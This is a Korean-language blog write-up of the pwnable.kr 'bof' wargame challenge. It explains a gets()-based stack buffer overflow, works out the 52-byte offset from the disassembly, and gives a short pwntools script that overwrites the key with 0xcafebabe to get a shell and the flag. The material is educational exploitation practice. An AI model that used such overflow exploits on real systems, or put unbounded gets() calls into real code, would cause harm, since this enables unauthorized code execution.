article thumbnail image
Published 2022. 5. 18. 22:25

bof - 5 pt [writeup]

문제 화면

 

 

 

본격적으로 문제를 풀기 전에 wget을 사용해서 bof파일과 bof.c파일을 다운받아줬다.

 

 

bof.c 파일을 확인해봤다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

overflowme라는 char형 배열이 선언되어있고,

gets를 사용해서 overflowme 배열에 입력을 받는다.

이때 gets함수는 얼마나 입력받을지 크기가 정해져있지 않기 때문에 bof(buffer overflow)취약점이 발생한다. 

main함수에서 func함수를 호출하면서 0xdeadbeef를 인자값으로 넣어줬는데, bof를 사용해서 key값에 0xcafebebe라는 주소로 덮으면 시스템 함수를 통해서 flag를 얻을 수 있을 것 같다.

 

 

처음 사진 출처: https://pitsec.tistory.com/50

위의 사진과 같이 gets함수를 사용해서 입력 받을 때 본래 스택 크기보다 많이 입력받아서 spf와 ret를 더미로 덮어버려서 bof를 일으킨다. 

보통 이 과정에서 strcpy 함수를 주로 사용한다.

 

 

위의 c코드를 바탕으로 적용해보면 overflowme[32] 배열에 32바이트 만큼 입력을 받고 추가로 입력을 해서 key[4]값을 덮어씌우면 system함수가 실행돼서 flag를 얻을 수 있다.

이제 overflowme와 key 사이의 바이트 수가 얼마나 되는지 알아보면 된다.

 

 

checksec

checksec를 통해 보안 기법을 확인해주었다.

Partial RELRO인 걸로 보아 GOT overwrite가 가능하다는 걸 확인할 수 있다.

 

 

 

disass main

main함수를 디스어셈블하고 출력 결과를 확인해봤다.

딱히 알 수 있는 게 없는 것 같아서 func함수를 디스어셈블 해보겠다.

 

func함수 내의 C코드와 비교해보면 알 수 있듯, func+24에서 printf함수를 호출했고, 그 다음 func + 35에서 gets함수를 호출한 걸 확인할 수 있다. 그리고 cmp 명령어로 비교하는 부분인 func + 40(ebp+0x8)이 key값이 존재하는 부분이다.

 

gets 함수가 어디에 있는지 확인해보자

   0x00000649 <+29>:	lea    eax,[ebp-0x2c]
   0x0000064c <+32>:	mov    DWORD PTR [esp],eax
   0x0000064f <+35>:	call   0x650 <func+36>

다음의 어셈블리 코드를 보면 

  • ebp-0x2c 주소를 eax레지스터에 저장
  • esp에 eax의 값(ebp-0x2c)을 입력
  • 함수 호출

따라서 gets함수는 ebp-0x2c에 위치한다.

 

key(0x8)값이 위치하는 주소와 gets 함수가 존재하는 위치(-0x2c)의 차를 구해서 두 주소 사이의 간격을 알아보자

구글링을 통해 python 명령어를 쓰면 쉽게 간격을 구할 수 있다는 걸 알게되었다.

 

 

 

 

이제 이를 이용해서 익스플로잇 코드를 짜보자.

from pwn import *

p = remote("pwnable.kr", 9000)
payload = "A"*52 + "\xbe\xba\xfe\xca"    # dummy[52] + key[4] (0xcafebabe)

p.sendline(payload)
p.interactive()

remote를 사용해서 pwnable.kr 9000에 접속해주었고,

payload에 52바이트만큼 더미노드를 추가해주고, keyd에 해당하는 4바이트(0xcafebabe)를 저장해주었다.

그 다음 sendline을 통해 payload를 전달해주었다.

마지막으로 interactive을 통해 실행해주었다.

 

 

익스플로잇 결과는 다음과 같다. ls 명령어로 현재 존재하는 파일들을 출력해주었고, cat명령어를 사용해서 flag를 성공적으로 출력할 수 있었다.

flag 획득!

 

 

 

 

'Pwnable' 카테고리의 다른 글

[pwnable] shellshock  (0) 2022.05.18
[pwnable] leg  (0) 2022.05.06
[pwnable] fd  (0) 2022.05.04
[pwnable] File Descriptor  (0) 2022.05.04
복사했습니다!